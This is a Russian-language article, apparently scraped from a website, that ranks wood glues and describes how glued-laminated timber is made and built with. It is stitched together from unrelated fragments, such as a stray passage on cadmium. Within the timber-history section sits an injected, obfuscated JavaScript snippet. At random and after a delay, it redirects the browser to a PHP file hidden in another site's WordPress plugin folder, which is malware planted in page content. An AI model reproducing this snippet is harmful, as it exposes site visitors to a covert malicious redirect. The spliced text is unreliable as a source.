Лучшие столярные клеи, топ-10 рейтинг клеев для дерева 2022

Лучший клей для дерева на основе ПВА

Kiilto PVA D3

Продукт отличает густая консистенция и белоснежный цвет. Состав считается одним из лучших для склеивания древесины, влаго- и морозостойкий, выдерживает до 5 циклов замораживания. Клей сохраняет свои качества даже в сорокаградусную стужу.

Преимущества:

экологичность (клей создан на основе водной дисперсии);
невысокая стоимость;
разные варианты расфасовки: 1 и 3 литра;
огнестойкость, соответствие пожаротехническому стандарту Euro Class B;
экономичное расходование;
тепло- и шумоизоляционный эффект.

Минусы: нет.

Момент Супер ПВА D3 влагостойкий

Клей российского производства, отличающийся повышенной водостойкостью. Отлично склеивает шпонированные и деревянные предметы, а также поверхности, содержащие включения из дерева. Время, необходимое для схватывания состава, — 15-20 минут.

Соединение полностью застывает в течение суток. Клей не оставляет следов на поверхности после застывания. Водно-дисперсионный состав сохраняет свойства в широком температурном диапазоне: +5 — +30.

Плюсы:

способность выдержать значительные статические нагрузки;
прозрачность;
высокий уровень влаго- и водостойкости;
широкая область использования;
отсутствие неприятного запаха.

Минусы:

ухудшение эксплуатационных свойств при отрицательных температурах;
соединение слабо справляется с динамическими нагрузками.

Текс универсал ПВА профессиональный

Столярный профессиональный клей, используемый для соединения заготовок из разных материалов: кожи, линолеума, бумаги или картона. Склейка получается очень прочная, шов эластичный и надежный. Цвет состава — белый, но после застывания он становится прозрачным. Пользователи отмечают отсутствие неприятных ароматов, удобство и надежность применения. Упаковка оснащена удобной крышкой.

Достоинства:

комфортность пользования;
отсутствие токсических компонентов;
удобная упаковка;
прочность соединений.

Минус: большой расход клея.

Лакра Клей ПВА Строитель

Водно-дисперсионный состав, который отличается быстрым засыханием, надежностью схватывания. После застывания смесь образует эластичную прозрачную пленку. Клей применяется в столярном деле: при склеивании деревянных предметов (например, мебельных деталей). Подходит он и для приклеивания тканевого линолеума, бумажных, кожаных и картонных изделий.

Преимущества:

качественное склеивание разных материалов;
отсутствие токсичных компонентов;
экономичный расход;
простое отмывание поверхностей при случайном попадании клея;
густой однородный состав;
отсутствие запаха.

Недостаток: огнеопасность.

Кадмий

Кадмий — это мягкий ковкий металл, устойчивый к коррозии, нерастворимый в воде и негорючий в твёрдом состоянии, который применяется для обработки других металлов (особенно стали) в качестве антикоррозийного покрытия. Также кадмий используется для стабилизации пластика и окрашивания стекла, так как он при определённой обработке даёт красный, жёлтый и оранжевый пигмент.

При всех своих достоинствах кадмий — это опасный материал, пары, растворимые соединения или мелкая пыль которого могут вызывать отёки лёгких, пневмонит и даже приводить к летальному исходу. Также превышение уровня содержания кадмия в организме связывают с раком лёгких, простаты и груди.

Помещение

Для организации полноценной производственной линии клееного бруса потребуется помещение площадью от 1000 квадратных метров. При планировании учитывайте, что у предприятия будет не только цех с оборудованием, но и большие склады. Там будет хранится сырьё и готовая продукция. Оборудование ставится по принципу конвейера, чтобы максимально упростить и ускорить изготовление стройматериалов.

Покрытие стен и пола должно быть несгораемым. Хорошо подойдёт плитка, кирпич или бетон. Обработка дерева предполагает много отходов, включая пыль, поэтому без хорошей системы вентиляции не обойтись. Средняя температура в цеху — 18-20 градусов.

При организации предприятия предусмотрите удобные подъездные пути и широкие проходы на склады: туда должен свободно проходить погрузчик. Комфортный труд невозможен без хорошего освещения и отдельной комнаты для отдыха. Если сотрудников много, стоит озаботиться открытием столовой.

Немного теории о древесине

Любая древесина имеет ряд преимуществ:

низкую теплопроводность;
небольшой вес;
внешний вид;
экологичность и пользу для нашего организма.

Ее использовали в строительстве с незапамятных времен. Но очень часто «камнем преткновения» становилось геометрическая нестабильность изделий. Неизбежный для пиломатериала период усадки таил в себе большие неожиданности, причем не приятных.

Например, древесина:

коробилась;
скручивалась;
выгибалась;
растрескивалась.

Поэтому на рубеже XX столетия в Финляндии большие строительные компании готовы были вкладываться в разработку новых материалов, которые смогли бы полностью исключить проблемы ее геометрической нестабильности.

История клееного бруса

Революция на строительном мировом рынке произошла с появлением клееного бруса. Он явился прямым результатом осмысления проблем, которые напрямую были связаны с недостатками древесины. Сказать наверняка сегодня сложно об авторе данной технологии.

Одна из версий – давление защитников природы, которые призывали всех максимально экономно пользоваться природными ресурсами. Хотя и вторая имеет право на существование – обычный дефицит древесины в Скандинавских странах, вызванный модой на природные стройматериалы.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to-podgotovlennyy-k-otpravke-domokoplekt.jpg» alt=»На фото подготовленный к отправке домокоплект» width=»500″ height=»349″ /> На фото подготовленный к отправке домокоплект

Появлению и широкому распространению технологии также способствовали разработки эффективных клеев, которые давали возможность получить «цельный» брус, используя для этого несколько составных частей. Официальным выходом на строительный рынок клееного бруса считают 70-е годы в Финляндии.

Изготавливается пиломатериал из кондовой сосны, которая по-фински называется «хонка». Данный вид древесины выгодно отличается от других подобных. Используя клееный брус 150х150 мм или 200х200 мм, финны отказались от каркасного строительства, которое, по их мнению, имело много недостатков, одним из которых считалось отсутствие природного эффекта в доме.

Материал на своем примере показал, что дает возможность строительным компаниям упростить и ускорить процесс строительства срубов из бруса. Кроме того, теперь не нужно было ждать усадки здания перед началом отделки.

Красота дома из клееного бруса

Брус позволяет совместить энергетику древесины, уют и микроклимат классического деревянного дома с современным подходом к строительным работам, где один из главных факторов – скорость. За счет этого возведение зданий с применений данного пиломатериала быстро завоевало мировой рынок, а инструкция для каждого домокомплекта сделала каждого строителем.

Технология строительства

Общая схема строительства дома из клееного бруса ничем не отличается от возведения из другого типа дерева.

Закладывают фундамент. Тип и величина его зависит от площади дома и характера грунта. Чем более последний подвижен, тем более глубокий и тяжелый фундамент приходится сооружать.
После сооружения и гидроизоляции на фундамент укладывают горизонтальную конструкцию, служащую опорой для будущих капитальных и межкомнатных стен. Используется самый тяжелый и толстый брус. На этом же этапе монтируют лаги для пола.
Выводят стены. Укладываются бруски друг на другая, соединяя элементы различными способами – в «чашу», «ласточкин хвост», на «коренной шип». Предпочтение отдается крепежу деревянному, без уголков и гвоздей.
Когда стены достигает необходимой высоты, обустраивают верхнюю обвязку из толстых брусков. Она служит мауэрлатом либо основанием под межэтажное перекрытие.
Возводят стропильную систему. При небольшой площади дома ее собирают на земле, затем поднимают. Если кровля сложная и большая, систему монтируют наверху.

Поскольку клееный брус не дает усадки, можно сразу приступать к отделке здания.

Как избежать ошибок

Чтобы будущий дом прослужил долго, необходимо очень тщательно спроектировать его. При этом учитывают следующие моменты:

требования по теплосохранению – если владелец не хочет дополнительно утеплять дом, следует подбирать брус по толщине исходя из его теплосберегающих свойств;
вес здания – если под каркасный дом можно соорудить свайный фундамент, то под двухэтажный коттедж потребуется хотя бы ленточное основание;
углы при кладке бруса в той или иное степени продуваемые, поэтому при строительстве нужно использовать межвенцовый уплотнитель;
хотя брус и не дает усадки, металлопластиковые окна или двери устанавливаются только в обсаду.

Отделочные работы, внутренние и внешние можно начинать сразу после установки крыши.

Нужна ли отделка или обработка

Обработка бруса антипиренами

Поверхность материал ровная, гладкая, древесина для материала выбирается чистая и красивая. Однако дерево даже при такой обработке нуждается в защите.

Окрашивать стены нежелательно: краска маскирует природную цветовую гамму и интересный древесный рисунок. Чаще брус обрабатывают морилками или поскрывают лаком. Такая обработка может лишь слегка изменить оттенок дерева, но сохраняет его текстуру.

Разновидности утепленного клееного бруса

Преимущество этого материала в том, что он сочетает в себе особенности дерева и искусственных материалов. Его текстура, хорошая теплоизоляция и долговечность равны или даже превосходят свойства других стройматериалов.

Утепленный брус бывает нескольких видов, отличающихся материалом и конструкцией. Популярный утеплитель – эковата. Это дешевый материал, который хорошо сохраняет тепло. Но главный ее минус – ее легко могут повредить грызуны. Также для укладки эковаты нужен специальный инструмент, что увеличивает время строительства.

Более удобный и популярный утеплитель – пенополиуретан, он легко укладывается в клееный стройматериал.

Технология изготовления утепленного клееного бруса

Для его изготовления необходимо столярное оборудование, подходящие материалы, знание и соблюдение технологических процессов, внимание к процессу производства

Утепленный брус начинают изготавливать с распиловки. Бревно распиливают и выбирают ламели – доски, которые станут основой. Важна точность размеров досок.
После распиловки ламели отбирают по длине. Каждую доску нужно осмотреть и оценить качество дерева. Затем их сортируют по видам.
После доски отправляются на сушку. Рекомендуемая влажность – 8−12%. Чем лучше высушены доски, тем меньше клееный материал даст усадку после строительства.
Когда ламели высушены, их нужно прострогать. После того как доски приобретают окончательную форму, их вновь сортируют. Есть стандарт прочности, который следует соблюдать.
В дереве могут быть участки, которые нужно удалить. На досках нужно искать трещины, суки, шероховатости кромки и откосы. Если такой брак найден, доску необходимо отторцевать и отмаркировать.
Размеры ламелей могут отличаться, так что нужно подогнать их под единый стандарт. Чтобы ламели имели одинаковые торцы, их нужно отфрезеровать.
После фрезеровки доски отправляют на торцовку, чтобы ламели были одинаковой длины.
Самая ответственная часть работы – склеивание. Для этого используют специальный пресс и клей, между деревом помещается пенополиуретан. Пресс не только помогает надежно скрепить между собой доски, но и получить изделия с разным сечением.
Последний штрих – клееный стройматериал осталось прострогать, отфрезеровать и отшлифовать.

Дом, построенный из такого материала, уже не нужно утеплять и уделять время внутренней и внешней отделке стен, если пропитать дерево специальными растворами в процессе производства.

Лучший полиуретановый клей для дерева

Akfix PA370 D4

Однокомпонентный, готовый к использованию быстросохнущий состав из полиуретана. Используется, если нужно крепко соединить деревянные элементы с пластиковыми, металлическими и бетонными поверхностями. Из-за повышенной стойкости к внешним факторам, в том числе, к воде, применяется для ремонта плавсредств.

После застывания объем клея несколько увеличивается, а качество стыка повышается. Область применения влаго- и термостойкого полиуретанового клея для древесины достаточно широкая:

столярное дело;
мебельное производство;
приклеивание сложных конструкций.

Температурный диапазон, при котором состав работает, составляет -40 — +100 градусов. Оптимальная прочность соединений достигается при температуре воздуха от +5 градусов.

Преимущества:

удобство пользования;
сильное схватывание;
небольшая вязкость;
широкий диапазон рабочих температур;
быстрое застывание;
термо- и влагостойкость.

Минус: огнеопасность.

Titebond Polyurethane Wood Glue 2300

Столярный полиуретановый клей. Американская фирма Titebond является одним из лидеров по выпуску продукции данного сегмента. Время на схватывание составляет 20 минут. Состав полностью сохнет за 45 минут. Клей надежно соединяет все виды материалов, имеющих древесное происхождение: от элементов на основе деревянных стружек до обычной древесины. Кроме того, состав надежно соединяет пластмассовые, металлические и каменные поверхности.

Клей отличает повышенный уровень влагостойкости, но оставлять соединение под водой не следует. Состав сохраняет свойства при низких температурах, но для эффективного применения его следует нагреть до 12 градусов.

Преимущества:

быстрота схватывания;
универсальность;
супер-прочность склейки;
экологическая безопасность;
влагостойкость.

Недостаток: использование при температуре воздуха от +10 градусов. Клей также нельзя применять на поверхностях, которые соприкасаются с продуктами питания.

Kleiberit ПУР-клей 501.0, D4

Полиуретановый продукт от фирмы Kleiberit (Германия). Основа продукта — полиуретан, который придает материалу стойкость к температурным перепадам и влажности. Однокомпонентное средство простое в применении, его можно использовать для соединения деревянных элементов.

Возможны и другие сочетания: дерево с бетоном, ПВХ, минеральными плитами, керамикой и т. д. Полученные соединения можно эксплуатировать в помещении и вне его, в морозы и жару. Клеящая смесь изготовлена в полном соответствии с мировыми стандартами. Полное отвердевание происходит по прошествии суток.

Достоинства:

быстрая полимеризация;
простота пользования;
универсальность;
эластичное соединение;
стойкость к воздействию температурных перепадов и агрессивных средств.

Минус: неприятный едкий запах.

Согласно отзывам, пользоваться продуктом очень удобно. Клей не стекает, шов получается надежным. Но отмыть руки после него достаточно сложно. Из-за сильного запаха приходится работать в проветриваемом помещении.

Технология выполнения работ

Для выполнения указанной работы в домашних условиях вам понадобится:

Изготовление пазов делают подгоняя брус друг к другу.

ножовка по дереву;
рубанок;
струбцины;
кисти и щетки;
желательно иметь шлифовальную машину и фрезерный станок, но это не обязательное условие;
измерительный инструмент;
доски, рейки;
клей;
растворитель.

Для того чтобы материал получился качественным, заготовки, которые используются для его изготовления, должны быть сухими. Лучше всего, чтобы сушка была естественной.

Сначала проводится нарезка заготовок, длина которых должна быть на 5 см больше необходимой. Берут три заготовки, из которых будет сделан один брус. Проводят строгание того канта, что будет склеиваться

Надо обращать внимание на расположение годовых колец, в соседних ламелях они должны быть разнонаправленными. В средней ламели делаем паз с обеих сторон, а у крайних с одной стороны, изготавливаем шпонки

Чтобы посмотреть, как будет выглядеть клееный брус, сначала проводят его сборку без использования клея. Теперь необходимо качественно подготовить поверхности, что будут склеиваться. Для этого их обрабатывают наждачной бумагой или шлифовальной машиной, тщательно убирают всю пыль и обезжиривают поверхность.

Все ламели хорошо просушивают и два раза покрывают огнебиозащитой, проводя промежуточную сушку.

Рейтинг лучших клеев по дереву

Профессионалы предпочитают приобретать клеи известных марок: «Титан», «Тайтбонд» (Титебонд), «Момент» и т. д. В разных категориях есть свои лидеры, которые бьют рекорды по покупаемости.

Клей на основе ПВА

Эта группа клеев – самая популярная, она включает огромное количество наименований отечественных и зарубежных производителей. Вот примеры:

Kleiberit 303.0. Немецкое средство, обладает высокой водостойкостью, позволяет соединять детали из всех пород дерева, шпона, ДВП и ДСП. Требует короткого времени фиксации изделий – всего на 6-10 минут. Клей стоек к воздействию низких температур, имеет белый цвет. Достоинства – простота применения, стойкость к влиянию атмосферных факторов, воды. Недостаток – более высокая цена.
«Момент Столяр Мгновенная хватка». Представляет собой универсальное средство на основе акриловой дисперсии, которое способно не только качественно склеивать дерево, но и заполнять щели, дефекты до 5 мм глубиной. Оно не содержит растворителей, идеально для всех пород древесины. Достоинства – прозрачность после высыхания, удобное нанесение, быстрая сушка, высокая начальная адгезия. Минус – непригодность для некоторых видов пластика, тефлона, слабая стойкость к влаге.
«Ультима Столяр ПВА». Средство отличается большой прочностью шва, им можно склеивать даже те изделия, что подвергаются динамическим нагрузкам. Клей не разрушается от низких температур (до -35 градусов), выдерживает 4 цикла заморозки/размораживания. Плюсы – универсальность, морозостойкость, прочность шва. Минус – долгая сушка.

Полиуретановые клеевые составы

Такие средства относятся к профессиональной линии клеев для древесины, они чаще всего используются в мебельном производстве. Примеры качественных составов:

«ПУР-клей 501». Водостойкий клей категории Д4, применяется для склеивания древесины, окон и дверей, стройматериалов. Этот реактивный клей отвердевает от действия влаги, выдерживает высокую нагрузку, является термостойким. Преимущества – простое применение, высокая жизнеспособность, короткое время отверждения, пластичность. Минус – высокая цена, коричневый цвет.
Titebond Polyurethane Wood Glue. Клей сохраняет рабочие свойства в течение 20 минут, отлично соединяет любые изделия из дерева и древесно-стружечных материалов. Не боится мороза, его нужно только нагреть до комнатной температуры перед применением. Плюсы – пригодность для разных материалов, высочайшая степень адгезии. Минус – сложно найти, высокая цена.
Soudal 66А. Применяется для соединения дерева с любыми иными материалами, кроме полипропилена. Отличается высокой влагостойкостью, может клеить даже мокрые изделия. Из-за вспенивания проникает в мелкие щели, надежно заполняет все дефекты. Плюсы – большой температурный диапазон применения, высокая адгезия, недостатки – сильное расширение после высыхания.

Клеевые составы для дерева на основе смол

Средства содержат эпоксидную или полиэфирную смолу, а также ряд иных синтетических компонентов. Вот лучшие в рейтинге:

UHU PLUS ENDFEST 300. Прочнейший эпоксидный состав, время его схватывания составляет 1,5 часа, время полного отверждения шва – 12 часов. Достоинства – ударная прочность, водостойкость, долговечность шва. Минусы – необходимость в строгом соблюдении пропорций.
ЭДП. Эпоксидный состав по привлекательной цене, позволяющий изготавливать мебель и ремонтировать ее. Отличается высокой адгезией, водостойкостью. Плюсы – возможность введения наполнителей, доступность, экономичность расхода, отсутствие усадки. Минусы – невозможность применения для изделий, контактирующих с пищей, долгая сушка.

Профессиональный столярный клей

Из всего многообразия столярных клеев профессионалы выделяют средство «Тайтбонд 3 Ультимейт». Оно является однокомпонентным, водостойким, при этом пятна его очищаются водой. Материал отличается высоким первоначальным схватыванием. Сухой шов можно даже шлифовать без опасности разрушения конструкции. Клей не вредит человеку, может применяться для изделий, контактирующих с пищей, подходит для внутренних и наружных работ. Недостатков у средства не обнаружено.

Выбрав качественный клей, можно быть уверенным в прочности соединения деталей и долгой службе деревянных изделий, поэтому при покупке лучше остановиться на продукте проверенных марок!

Виды клеевых систем для изготовления бруса

Далеко не все клеевые составы подходят для производства бруса. Некоторые из них содержат много вредных веществ, токсинов. Поэтому считать клееный брус экологичным материалом можно только при строгом соответствии метода его создания ГОСТу, СанПиНам и при использовании подходящих клеев. Вообще, после затвердения большинство клеев не выделяют летучих веществ, но некоторые имеют долгую окончательную полимеризацию в глубоких слоях древесины. Такие средства не подходят для склеивания бруса, а самым опасным компонентом в них является формальдегид.

Выделяют несколько классов безопасности по выделению фенолформальдегида клеевыми составами – E1, E2, E3. Каждый клей должен быть протестирован производителем, после чего на его упаковке выставляется соответствующий класс (самый безопасный – E1).

Сейчас существует несколько типов клеев, которые используются для производства стройматериалов:

Полимер-изоацетатные смеси, или EPI. Вообще не включают формальдегида, а также прочих вредных веществ (например, мочевины). Позволяют работать с брусом при температурах от +5 градусов, не реагируют на повышенную влажность, но стоят дорого.
Полиуретановые клеи. Быстро твердеют при горячем склеивании, имеют отличные технические характеристики, чаще реализуются в однокомпонентном виде. После полного отверждения не выделяют опасных веществ, хотя в процессе работы это возможно. Клеи на основе полиуретана тоже стоят недешево.
Меламиновые клеи. Основываются на формальдегиде, но обладают высочайшей степенью адгезии. Могут похвастаться морозостойкостью, влагостойкостью, после высыхания становятся прозрачными. Такие средства широко применяются в странах Европы, поскольку после полимеризации перестают выделять вредные испарения, к тому же, весьма экономичны.
Резорциновые клеи. По мере застывания становятся темными. Сложны в работе, так как клеить брус ими допустимо только на открытом воздухе. В России, Европе такие средства применяются нечасто, они более популярны в Америке.

Иные составы для производства клееного бруса не используются, ведь они не способны обеспечить надежное сцепление древесины. Поэтому ПВА, столярные клеи для данной цели не годятся. Зачастую тип клея не играет решающей роли: вред для организма вызывает нарушение технологии производства бруса. Например, при недостаточной температуре или уменьшении времени склейки полной полимеризации клея не происходит, и он будет выделять токсины в течение долгого времени.

Сравнительная таблица свойств и цен клеев

Разные средства для изготовления бруса могут иметь неодинаковые параметры и характеристики. Ниже рассмотрены основные признаки трех самых популярных составов.

Наименование клея	Внешние признаки	Отвердитель	Расход, кг/кв. м	Средняя стоимость, руб.
Полиуретановый	Жидкий, светло-коричневый	Нет	0,15-0,25	480
Меламиновый	Жидкий, молочно-белый	Есть	0,3-0,45	470
EPI	Жидкий, прозрачный	Есть	0,25-0,4	190

Как видно из таблицы, только полиуретановые составы продаются как однокомпонентные клеи. Остальные средства реализуются в двухупаковочной форме и требуют смешивания с отвердителем перед применением.

Лучшие производители

Для того, чтобы правильно выбрать водостойкий состав для склеивания древесины, необходимо знать его состав. На современном строительном рынке представлено немало продукции, обеспечивающей отличные эксплуатационные характеристики стыков. Необходимо также знать, для каких пород дерева предназначено то или иное средство, меняет ли оно цвет после отвердевания, а также другие параметры.

Рассмотрим наиболее известные бренды по производству этой продукции:

Момент — российская компания выпускает водно-дисперсионный клеящий состав. Он хорошо соединяет не только детали из дерева, но и другие стройматериалы. Согласно отзывам рядовых пользователей и специалистов, его основные преимущества — доступная цена, быстрая полимеризация, надежность;
Kiilto — фирма по производству лакокрасочных материалов, основанная в Финляндии. Специфика продукции от Kiilto — экологическая безопасность, отсутствие вредных компонентов и токсичных соединений;
Titebond — знаменитый американский бренд. Конструкция, скрепляемая этим составом, отличается особой прочностью. Компания постоянно работает над расширением ассортимента и улучшением производственных технологий;
Kleiberit — немецкая торговая марка, выпускающая клеящие смеси для мебельного производства. Продукция отличается хорошими качественными показателями;
UHU — еще один немецкий бренд. Клеящие средства отличают не только замечательные эксплуатационные параметры, но и высокий уровень экологической безопасности (в этом отношении фирма занимает на рынке одно из лидирующих мест);
Akfix — турецкая компания. Она пребывает на рынке относительно недавно. Выпускает хорошую лакокрасочную продукцию: как по качеству, так и по экологической безопасности. Фирма постоянно ищет новые технологии, чтобы выпускаемые товары полностью соответствовали требованиям покупателей;
Текс — один из известнейших производителей клеящих смесей для бытового и промышленного применения (например, для изготовления мебели). Клей от Текс хорошо соединяет бумажные, фанерные и картонные заготовки. Возможно использование в качестве добавки к строительным смесям;
Лакра — отечественная компания, одна из лидеров производства лакокрасочной продукции. Фирма выпускает клеевые составы, соответствующие качественным стандартам, принятым в мире.